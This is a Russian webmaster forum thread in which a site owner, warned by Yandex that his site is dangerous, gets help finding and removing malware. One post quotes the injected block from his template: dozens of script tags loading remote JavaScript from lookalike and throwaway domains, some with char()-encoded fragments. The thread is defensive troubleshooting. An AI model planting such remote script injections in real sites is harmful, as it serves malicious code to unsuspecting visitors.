вредоносный код

12 3
gpomov
На сайте с 05.01.2010
Offline
34
1640

Друзья, добрый вечер. Я прошу прощения если этот вопрос задавался ранее.

Возникла ужасная проблема с сайтом. Дело в том что в яндекса проиндексированые страницы отображаются с описанием:

Сайт может угрожать безопасности вашего компьютера

Я в курсе что это может быть из-за какого то вредоносного кода в сайте, но, если честно понятия не имею каким образом его можно найти;( Я в этой теме не бум бум, по сему прошу помощи знатоков.

ДП
На сайте с 23.11.2009
Offline
203
#1

Открывайте ваш сайт в баузере, открывайте просмотр исходного кода, ищите теги script/iframe, которые вы не вставляли - с найденными тегами и рассказом о сайте в свободной форме пишете сюда (cms не забудьте указать).

Либо открывайте кошелек, открывайте тему с поиском спецов, которые решат проблему за деньги.

gpomov
На сайте с 05.01.2010
Offline
34
#2
Дикий пионер:
Открывайте ваш сайт в баузере, открывайте просмотр исходного кода, ищите теги script/iframe, которые вы не вставляли - с найденными тегами и рассказом о сайте в свободной форме пишете сюда (cms не забудьте указать).
Либо открывайте кошелек, открывайте тему с поиском спецов, которые решат проблему за деньги.

Там куча тегов скрипт но ни одного фрейма нет. Скрипт я боюсь трогать так как в прошлом был печальный опыт в этом вопросе. И если честно, я лучше доверюсь проф. в это деле, так как сам могу много чего плохого натворить.

ДП
На сайте с 23.11.2009
Offline
203
#3

Это хорошо, что вы понимаете. Укажите cms на которой вертится ваш сайт - это полезная информация.

Posting_i_PIAR
На сайте с 03.02.2008
Offline
204
#4

можно попробовать сделать полный апдейт на дату последних изменений. - сменить все пароли.

после пишите в поддержку ПС. в гугле снимают в течении 3-х суток.

Услуги наполнения форумов (/ru/forum/882326) | групп ВК (https://smo-i-seo.ru/napolnenie-grupp-vkontakte) | комментирование (https://smo-i-seo.ru/posting-kommentirovanie-blogov) Копирайтинг (https://smo-i-seo.ru/uslugi-kopirajtinga) Настройка Директа (https://smo-i-seo.ru/zakazat-nastroyku-yandeks-direkt)
gpomov
На сайте с 05.01.2010
Offline
34
#5

Меня смутило вот это:

<!--TEnd--><script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script><script src="http://zheenix.msk.ru/7f23369d4de877063768bd36ffc107a8.js" type="text/javascript"></script><script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script><script src="http://zheenix.msk.ru/cfd8f6c3e9cb8e3ceea1f957f55a908e.js" type="text/javascript"></script><script src="http://you-stupped-lox.ucoz.ru/engine.js" type="text/javascript"></script><script src="" type="text/javascript"></script><script src="http://goooogle.ipq.co/94bf415985d4fb495de843ef9f611963.js" type="text/javascript"></script><script src="http://googlle.ipq.co/55643a1fa19aa70378fee7bfde30d2bc.js" type="text/javascript"></script><script src="http://googlle.ipq.co/7d1fa5448968eaa9ce55530c2d961981.js" type="text/javascript"></script><script src="http://googlle.ce.ms/5c22cc3f247cf660628d002aad290ece.js" type="text/javascript"></script><script src="http://goooglle.org/9f7e0960d56759fa439b957d891dc48achar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)<script src="http://goooglle.org/f7f89c61635775e60d120ba0c740245cchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)<script src="http://goooglle.org/e50962248dab71d325bf384ed702c1a7char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)<script src="http://goooglle.org/cb5b613f1fc34851072c4046535c3f9dchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)<script src="http://goooglle.org/b51a88c9b01b1b537e6238c3971ab628.js" type="text/javascript"></script><script src="http://goooglle.org/2a046005f023c1ee0af30c8319e34796.js" type="text/javascript"></script><script src="http://goooglle.org/18c00cb87ea7559384c519be85ca0eb3.js" type="text/javascript"></script><script src="http://goooglle.org/fc3a03684f2b5e2b5bdc70b714a05bd7.js" type="text/javascript"></script><script src="http://topkek.org/be33efa3ca55678017a4daed17fc8303.js" type="text/javascript"></script><script src="http://topkek.org/c1fb2882e59fc826d6510062073de72c.js" type="text/javascript"></script><script src="http://topkek.org/620fdc28e12b41f5aa2812f4c9c81d69.js" type="text/javascript"></script><script src="http://topkek.org/cb4d99fb05d7613539f9ed11f860986e.js" type="text/javascript"></script><script src="http://goooglle.org/94066f36eac27e80c4d0d41b81b5376c.js" type="text/javascript"></script><script src="http://goooglle.org/2196b3183f1eeda6578b1c5ad1cf4600.js" type="text/javascript"></script><script src="http://goooglle.org/8dab860965dfb52ef6af6597615e4b34.js" type="text/javascript"></script><script src="http://goooglle.org/7d224d497551f9709dddf49a2c2a010e.js" type="text/javascript"></script><script src="http://goooglle.org/1f622b2111797b843f03833df5a32127.js" type="text/javascript"></script><script src="http://topkek.org/dfdba4390c7ba1c463194a8bbf93fb07.js" type="text/javascript"></script><script src="http://topkek.org/8fc749c588dd4808837d9962df210acf.js" type="text/javascript"></script><script src="http://topkek.org/d3b725e86ca0699d708c53dba08568b4.js" type="text/javascript"></script><script src="http://topkek.org/58fce8c3347b7a15730fc79fb49ff309.js" type="text/javascript"></script><script src="http://topkek.org/a8ee368e1cd8b6fb8f0d18bc086966a5.js" type="text/javascript"></script><script src="http://foxrex.org/3c7318a3b0514ba2c47b7e4306d4ade1.js" type="text/javascript"></script><script src="http://broxet.org/87d912d24091a0aebb7151e4726bcc29.js" type="text/javascript"></script><script src="http://picturevk.msk.ru/a2e3c31cb136131ca9bee292fa7fae03.js" type="text/javascript"></script><script src="http://picturevk.msk.ru/9220976dd5c060407afa0f320df03c88.js" type="text/javascript"></script><script src="http://picturevk.msk.ru/5dce51230eab4bb3d36db74a237a6e73.js" type="text/javascript"></script><script src="http://picturevk.msk.ru/de1ec0a80c298baaf325ebd8739a173d.js" type="text/javascript"></script><script src="http://picturevk.msk.ru/351b8877e821a2a0444a56dc3b31d162.js" type="text/javascript"></script><script src="http://picturevk.msk.ru/ddd1dde3a4c4af45f2e84a5de17bd2a8.js" type="text/javascript"></script><script src="http://picturevk.msk.ru/9ca437a5a8f90e58285d5d31414e3f50.js" type="text/javascript"></script><script src="http://picturevk.msk.ru/1f8ec8c06d74c56a27122c207cf4c94a.js" type="text/javascript"></script><script src="http://picturevk.msk.ru/c2e9cd64b1c7c2f38d909432c48c86e7.js" type="text/javascript"></script><script src="http://mypic.msk.ru/0d472a1211774e09c4687464d02e5823.js" type="text/javascript"></script><script src="http://mypic.msk.ru/237f087133c341f3f3818d00fd2202ce.js" type="text/javascript"></script><script src="http://mypic.msk.ru/7377443fc0bf74ef12eed3b632081fcf.js" type="text/javascript"></script><script src="http://mypic.msk.ru/e4553279d70089ddb6bbd5a802bac0de.js" type="text/javascript"></script>

Не знаю, может быть это не то.

А вообще яша ругается на две ссылки, на данный момент.

http://involume.ru/page/5/promo/promo/promo/203-andy-stock-atmo.html
http://involume.ru/techno/790-peter-van-hoesen-entropic-city.html

Как только заметил сразу же запустил проверку в вебмастере.

siv1987
На сайте с 02.04.2009
Offline
427
#6
Не знаю, может быть это не то.

Нет, это не то.

http://www.google.ru/search?client=opera&rls=ru&q=http://goooglle.org/&sourceid=opera&ie=utf-8&oe=utf-8

ДП
На сайте с 23.11.2009
Offline
203
#7

Вот они и есть родимые. Ищите их в шаблоне и удаляйте.

Дикий пионер добавил 23.02.2011 в 00:12

Ссылочка на гугл - правильная только: http://www.google.ru/search?client=opera&rls=ru&q=http://goooglle.org/&sourceid=opera&ie=utf-8&oe=utf-8#sclient=psy&hl=ru&newwindow=1&client=opera&rls=ru&q=%22http:%2F%2Fgoooglle.org%2F%22&aq=f&aqi=&aql=&oq=&pbx=1&fp=522f9c2bd8969762

gpomov
На сайте с 05.01.2010
Offline
34
#8
Дикий пионер:
Вот они и есть родимые. Ищите их в шаблоне и удаляйте.

А они только в шаблоне, или же на фтш в папке валяются?

gpomov добавил 23.02.2011 в 00:13

Я это к чему, можно ведь просто удалить их с фтп, так как это js файлы?

ДП
На сайте с 23.11.2009
Offline
203
#9

Скрипты _скорее всего_ (я просто не спец по ДЛЕ) в шаблоне, а вот шаблоны в папке на фтп как раз.

Дикий пионер добавил 23.02.2011 в 00:16

Эти js-файлы подгружаются с других сайтов, вам надо удалить ссылки на них со своего.

gpomov
На сайте с 05.01.2010
Offline
34
#10
Дикий пионер:
Скрипты _скорее всего_ (я просто не спец по ДЛЕ) в шаблоне, а вот шаблоны в папке на фтп как раз.

Просто не хочется потом начинать все заново))

12 3

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий